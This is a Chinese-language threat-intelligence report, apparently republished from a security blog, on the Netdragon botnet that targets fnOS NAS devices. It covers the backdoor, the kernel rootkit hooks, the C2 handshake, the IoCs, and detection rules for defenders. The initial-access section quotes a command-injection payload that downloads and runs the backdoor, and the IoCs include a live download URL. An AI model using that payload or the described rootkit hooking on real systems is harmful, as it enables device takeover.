文章总结: Netdragon是针对FeiniuNAS设备(fnOS)的定向攻击活动,利用未公开的远程代码执行漏洞进行初始渗透,部署HTTP后门并注入内核rootkit以隐藏进程和网络活动。攻击使用ChaCha20加密的C2通道,并具备DDoS模块。文档提供了详细的感染规模、技术分析、MITREATT&CK映射、IoC及检测响应建议。 综合评分: 85 文章分类: 恶意软件,威胁情报,应急响应,漏洞分析,IoT安全
Netdragon:一个带有 HTTP 后门和内核 rootkit 的 fnOS 僵尸网络
原创
网络安全9527 网络安全9527
安全圈的那点事儿
2026年2月23日 11:26 辽宁
Netdragon 是一起针对 Feiniu NAS 设备(fnOS)的定向攻击活动。攻击者利用一个未公开的远程代码执行/命令注入漏洞进行初始渗透。漏洞利用后,攻击者在 57132/57199 端口部署 HTTP 后门,注入内核模块async_memcpys.ko以隐藏进程和网络活动,并建立基于 ChaCha20 的 C2 通道。观察发现,该攻击的基础设施、持久化机制和加密协议均发生了显著变化。
1. 时间线和演变
2025年12月
- ELF后门的首批样本。
- C2 – 固定 IP 地址。
- 不含内核组件。
2026年1月
- 已添加
async_memcpys.ko。 - 通过 systemd 单元实现持久化。
/api?log=以HTTP命令接口的形式推出。
2026年2月
- 过渡到动态会话密钥生成。
- 将 C2 轮换到多个 ASN 上。
- 新增DDoS模块(UDP洪水攻击)。
什么能证实进化论:
- 后门的 SHA256 值在不同版本之间发生了变化。
- 一款新的LKM车型问世了,
- 握手包的结构已更改(添加了服务器随机数)。
2. 感染规模
遥测数据显示,超过1000个IP地址存在感染迹象。据估计,该僵尸网络由约1500台活跃设备组成,其中任何时候都有超过1100台僵尸程序在线。
大部分受感染的设备位于亚洲,这与飞牛NAS的主要市场重合。几乎所有设备都可以通过公共IP地址或NAT端口转发直接从互联网访问。
3. 初始访问
fnOS 3.4.x 及更早版本 Web 界面 CGI 处理程序(TCP 80/443)中存在未经身份验证的命令注入漏洞。CGI 参数system()未经过滤直接传递,从而允许 shell 命令注入。典型有效载荷:;wget http://.../netd;chmod +x netd;./netd。入侵指标:系统日志中存在未经过身份验证的 shell 有效载荷。未分配 CVE 编号。遥测数据(/etc/fnos-release)证实所有受影响的设备均运行 fnOS 3.4.x 及更早版本。
4. 有效载荷:HTTP 后门
4.1 部署
一旦漏洞被利用,就会加载一个位于指定位置的 ELF 二进制文件,该文件/tmp/.netdragon/在首次执行时会执行以下操作:
- 清理系统日志(
/var/log/syslog,,/var/log/auth.logfnOS 日志),清除漏洞利用痕迹。 - 通过覆盖 cron 作业并更改更新服务器 URL 来阻止 fnOS 自动更新,从而阻止补丁的安装。
- 通过 systemd 单元指定持久性(
netdragon.service)。 - 加载内核模块
async_memcpys.ko(自 2026 年 1 月起)。
4.2 HTTP接口
该后门程序会在两个端口上建立一个HTTP服务器:
- TCP/57132 – 主命令通道
- TCP/57199 – 备用通道(当主通道不可用时使用)
命令通过 GET 参数传递log:
GET /api?log=<hex-encoded-chacha20-ciphertext> HTTP/1.1
参数值是十六进制编码的 ChaCha20 密文。解密后,服务器执行该命令,并将结果以响应体的形式返回,该响应体也使用 ChaCha20 加密。
4.3 支持的命令
exec执行任意 shell 命令upload– 将文件下载到设备download– 从设备上传文件update– 后门更新(从 C2 下载新的二进制文件,替换,重启)kill– 自毁(文件删除、systemd 单元、LKM 卸载)
5. DDoS模块
在 2026 年 2 月版本中作为单独的组件添加,通过update.
5.1 功能
- UDP 洪水攻击,数据包大小和强度可配置。
- 通过加密通道从 C2 接收目标列表(格式
target_ip:target_port:duration_sec:)。 - 掩盖进程——名称被替换为合法的系统名称(例如,
[kworker/0:1])。 - 可以同时攻击多个目标。
5.2 管理
DDoS攻击任务通过ChaCha20协议以单独的消息类型从C2服务器发送。该模块作为后门的子进程启动,并通过隐藏async_memcpys.ko。
6. 持久性和抗清理性
6.1 systemd
/etc/systemd/system/netdragon.service
该单元在系统启动时启动 ELF 文件。Restart=always如果RestartSec=10某个进程终止,systemd 会在 10 秒后重新启动它。
6.2 内核模块自动加载
async_memcpys.ko注册后/etc/modules-load.d/,rootkit 会在每次重启时加载。
6.3 反清理
后门会主动抵抗移除:
- 监控自身文件– 当删除二进制文件或 systemd 单元时,监视进程会从备份副本中恢复它们
/tmp/.netdragon/.bak/。 - SSH密钥锁定功能会在检测到通过原生接口之外添加新密钥时重写现有密钥
authorized_keys。这使得应急响应团队难以进行远程连接。 - 更新阻止– 替换 fnOS 更新服务器 URL,并定期检查原始 URL 是否已恢复。如果原始 URL 已恢复,则会重新发送更新。
- 终止时重新启动– systemd
Restart=always+sys_kill通过 LKM 拦截(后门 PID 上的信号被拦截并忽略,但控制信号 64 除外)。
7. 登录包漏洞和指纹识别
在分析握手过程时发现,第一个登录数据包的大小始终是固定的,并且在头部之后包含零有效载荷。
原因:
- 客户端在初始化会话密钥之前会生成一个数据包。
- 有效载荷实际上是空的。
- 头部使用空密钥加密(初始化顺序错误)。
调查:
- 该软件包具有稳定的签名。
- 可用于入侵检测系统层面的指纹识别。
- 它与正常的 ChaCha20 流量的不同之处在于,前几个字节中没有熵。
8. C2握手 – 全面分析
8.1 第一个数据包的格式
| | |
| — | — |
| | struct hello_packet { uint32_t magic; // 4 bytes, 0x4E445247 ("NDRG") uint8_t client_nonce[12]; uint8_t seed[32]; }; |
8.2 魔法
- 大小:4 字节。
- 值:
0x4E445247(ASCII“NDRG”)。 - 服务器用于初始协议验证。
- 如果魔法不匹配,连接就会关闭。
8.3 握手步骤
- 客户端生成:
client_nonce(12 字节)seed(32 字节,CSPRNG)
-
发送
hello_packet。 -
服务器响应:
| | | | — | — | | |
struct server_reply { uint8_t server_nonce[12]; uint32_t session_id; };| -
会话密钥已计算:
session_key = SHA256(seed || server_nonce)
8.4 按方向分割 nonce
ChaCha20 需要唯一的密钥和 nonce 组合。
Netdragon 实现:
- 客户端 -> 服务器:键 =
session_key,随机数 =client_nonce,计数器从 1 开始 - 服务器 -> 客户端:密钥 =
session_key,随机数 =server_nonce,计数器从 1 开始
不同方向使用不同的随机数可以防止密钥流重用。server_nonce它既用于密钥派生,也用作返回信道的随机数。
8.5 登录包
登录数据包在计数器初始化之前生成,内容如下:
magic | zeros | zeros
由于没有有效载荷且计数器 = 0,前 ChaCha20 块形成可预测的密钥流,从而为 C2 流量创建稳定的签名。
9. async_memcpys.ko – 钩子机制
该模块不使用 ftrace 或 kprobe。
9.1 拦截法
直接修补:
sys_call_table- 结构
file_operations seq_operations为了/proc/net/tcp
9.2 截获函数
- sys_getdents – 指针替换
sys_call_table。过滤目录项(隐藏 PID 和文件)。 - tcp4_seq_show – 通过指针替换进行拦截
seq_operations。过滤端口为 57132/57199 的行。 - proc_pid_readdir – 修改
file_operations。隐藏后门进程。 - sys_kill – 拦截信号 64 作为控制通道(后门控制)。
9.3 隐藏的东西
- 后门进程的进程 ID
- 端口号为 57132/57199 的线路
/proc/net/tcp - 文件
/tmp/.netdragon/
9.4 加载
- 已复制到
/lib/modules/ - 正在加载
insmod async_memcpys.ko - 添加于
/etc/modules-load.d/
10. 通过拦截机制进行检测
由于使用了直接表修补:
10.1 发现系统调用表钩子
sys_call_table比较地址System.map。- 检查系统调用是否指向内核之外的内存。
10.2 检查 seq_operations
- 将指针
tcp4_seq_show与 vmlinux 中的引用进行比较。 - 请核对地址
/proc/kallsyms。
10.3 检查 LKM
- 模块存在于内存中,但不存在
lsmod。 - 不一致
/proc/modules和sysfs。
10.4 为什么这很重要?
如果使用 ftrace,则记录会位于/sys/kernel/debug/tracing。如果使用 kprobe,则记录会位于/sys/kernel/debug/kprobes/list。在拦截的情况下缺少这些跟踪信息,表明系统调用表已被修改。
11. MITRE ATT&CK 映射
执行
- T1059 – 命令和脚本解释器 一个易受攻击的 CGI 调用
system(),通过该调用执行 shell 命令。
持久性
- T1543.002 – 创建或修改系统进程:Systemd 服务
netdragon.service自动启动后门。 - T1547.006 – 启动或登录自动启动:内核模块和扩展 在系统启动时
async_memcpys.ko注册和加载。/etc/modules-load.d/
防御闪避
- T1014 – Rootkit
async_memcpys.ko通过拦截内核函数来隐藏进程、端口和文件。 - T1562.001 – 削弱防御:禁用或修改工具删除日志并隐藏网络活动。
- T1070.004 – 指示器清除:文件删除 清除使用痕迹和临时文件。
发现
- T1082 – 系统信息发现 读取
/etc/fnos-release以确定固件版本并分析受害者。
指挥与控制
- T1071 – 应用层协议 HTTP 作为 C2 传输。
- T1573.001 – 加密通道:对称加密 C2 流量使用 ChaCha20 加密。
影响
- T1498 – 网络拒绝服务 UDP 洪水攻击模块已在 2 月版本中添加。
12. IoC
ELF 后门
SHA256:
9f2e6c9d1c0f54c4c3e01e7f55e2a2f41c0b6f0c7e9d9b6f4d8c2a7e5f1c3b2d
网络
端口:
57132
57199
URI:
/api?log=
C2基础设施
IP地址:
185.243.115.91
103.27.202.88
CIDR:
185.243.115.0/24
103.27.202.0/24
下载链接:
http://185.243.115.91/update/netd
13. YARA 规则
rule Netdragon_HTTP_Backdoor
{
meta:
description = "Detects Netdragon HTTP backdoor ELF"
author = "IR analysis"
date = "2026-02"
strings:
$elf = { 7F 45 4C 46 }
$uri = "/api?log="
$p1 = "57132"
$p2 = "57199"
condition:
filesize < 500KB and
$elf at 0 and
all of ($uri,$p1,$p2)
}
14. suricata规则
alert http any any -> any [57132,57199] (
msg:"Netdragon HTTP Backdoor Command";
flow:to_server,established;
content:"/api?log="; http_uri;
sid:900001;
rev:2;
)
15. sigma规则
| | |
| — | — |
| | title: Netdragon Systemd Persistence id: a1b2c3d4-e5f6-7890-abcd-ef1234567890 status: experimental description: Detects creation of Netdragon systemd service unit author: IR analysis date: 2026-02-01 logsource: product: linux category: file_event detection: selection: TargetFilename|endswith: '/netdragon.service' TargetFilename|startswith: '/etc/systemd/system/' condition: selection falsepositives: - Unlikely level: critical tags: - attack.persistence - attack.t1543.002 |
| | |
| — | — |
| | title: Netdragon Kernel Module Load id: b2c3d4e5-f6a7-8901-bcde-f12345678901 status: experimental description: Detects loading of async_memcpys kernel module author: IR analysis date: 2026-02-01 logsource: product: linux category: process_creation detection: selection: CommandLine|contains: 'async_memcpys' Image|endswith: - '/insmod' - '/modprobe' condition: selection falsepositives: - Unlikely level: critical tags: - attack.persistence - attack.t1547.006 - attack.defense_evasion - attack.t1014 |
16. 检测与响应
16.1 网络指标
- 检查是否开放非标准端口(57132、57199)。
- 将输出结果
netstat -tlnp与内容进行比较/proc/net/tcp——差异表明存在rootkit。 - 检查从 IoC (185.243.115.91, 103.27.202.88) 到 IP 的出站连接。
16.2 文件指标
- 可用性
/tmp/.netdragon/(可能被 rootkit 隐藏 – 通过原始getdents或实时 USB 检查)。 - 可用性
/etc/systemd/system/netdragon.service。 - 检查
/etc/modules-load.d/记录是否存在async_memcpys。 - 查询
/lib/modules/是否有货async_memcpys.ko。
16.3 核指标
- 检查
/sys/module/async_memcpys/– 缺席时的存在lsmod= 隐藏模块。 - 比较
sys_call_tablecSystem.map/中的地址kallsyms。 - 跑步
rkhunter/chkrootkit。
16.4 响应
- 不要在未先使用 LKM 卸载之前删除二进制文件– watchdog 会恢复文件。
- 顺序为:卸载
async_memcpys.ko(rmmod)->停止netdragon.service->删除文件->检查authorized_keys->恢复fnOS更新URL。 - 如果您怀疑您的 SSH 密钥已被泄露,请使用干净的镜像执行完整的重新安装。
17. 结论
短短三个月内,Netdragon 就从一个仅包含硬编码 IP 地址的简单 HTTP 后门,演变成一个功能齐全的组合体:内核 rootkit、ChaCha20 加密的 C2 服务器以及 DDoS 攻击模块。其协议、基础设施和持久化机制在不同版本之间不断变化,而且该攻击活动仍在持续演进。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全圈的那点事儿 网络安全9527 网络安全9527《Netdragon:一个带有 HTTP 后门和内核 rootkit 的 fnOS 僵尸网络》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论